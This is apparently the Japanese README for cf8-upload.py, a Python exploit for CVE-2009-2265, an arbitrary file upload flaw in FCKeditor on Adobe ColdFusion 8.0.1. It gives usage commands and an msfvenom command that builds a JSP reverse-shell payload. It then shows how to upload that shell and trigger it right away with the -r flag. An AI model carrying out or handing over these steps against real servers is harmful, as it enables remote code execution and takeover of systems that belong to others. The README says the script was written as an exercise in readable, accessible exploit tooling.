
cf8-upload.py | CVE-2009-2265
CVE-2009-2265を悪用するためのPython3スクリプトです。
このスクリプトは、Adobe ColdFusion 8.0.1に実装されたFCKeditor < 2.6.4.1の脆弱性を悪用します:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
このスクリプトにより、ユーザーはColdFusion 8.0.1が動作するターゲットコンピュータにファイルをアップロードして実行することができます。
pip3 install requests
Adobe ColdFusion 8.0.1が動作するターゲットを特定したら、以下のように実行します:
chmod +x cf8-upload.py
./cf8-upload.py -h
または
python3 cf8-upload.py -h
-hまたは--helpオプションで、スクリプトの実行方法といくつかの例が表示されます。
2つの位置引数といくつかのオプション引数があります。
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
Adobe ColdFusionはデフォルトでポート8500を使用しますが、スクリプトを実行する際にはサーバーへの完全なパスを指定する必要があります。
ColdFusionのデフォルトインストールでは、ポート8500のルートディレクトリに存在する場合が多く、その場合はx.x.x.x:8500をアドレス引数として指定すれば大抵十分です。
cf8-upload.pyはデフォルトで色付きの出力と追加のフォーマットをターミナルに表示しますが、スクリーンリーダーを使用するユーザーにとっては必ずしも便利ではありません。--accessible引数を使用すると、派手なフォーマットと色の出力が無効になり、アスキーアートも無効になります。
このフラグを指定すると、ファイルが正常にアップロードされた後にのみ、スクリプトがそのファイルに対するGETリクエストを行います。このオプションは、リバースシェルなどのファイルを脆弱なアプリケーションにアップロードし、すぐにトリガーしたい場合に便利です。GETリクエストの内容はターミナルに出力されず、サーバー上でイベントをトリガーするだけです。
Adobe ColdFusionは.jspファイルを読み取ることができるため、msfvenomを使って以下のような簡単なリバースシェルを作成できます:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
そしてアップロードします:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
Adobe ColdFusion 8.0.1アプリケーションでは、エクスプロイトスクリプトでアップロードされた既存のファイルを上書きできない可能性があります。その場合、以前にアップロードしたファイルと同じ名前の異なるファイルをアップロードしようとすると、アップロード処理中にタイムアウトが発生することがあります。
再アップロードを試みる前に、アップロードしたいファイルの名前を別の名前に変更する必要があるかもしれません。
このスクリプトは主に、読みやすさとアクセシビリティの両方を考慮した、短くて包括的で自己完結型の単一エクスプロイトプログラムを作成するための練習として書かれました。
https://skerritt.blog/a11y/ - アクセシビリティの実装。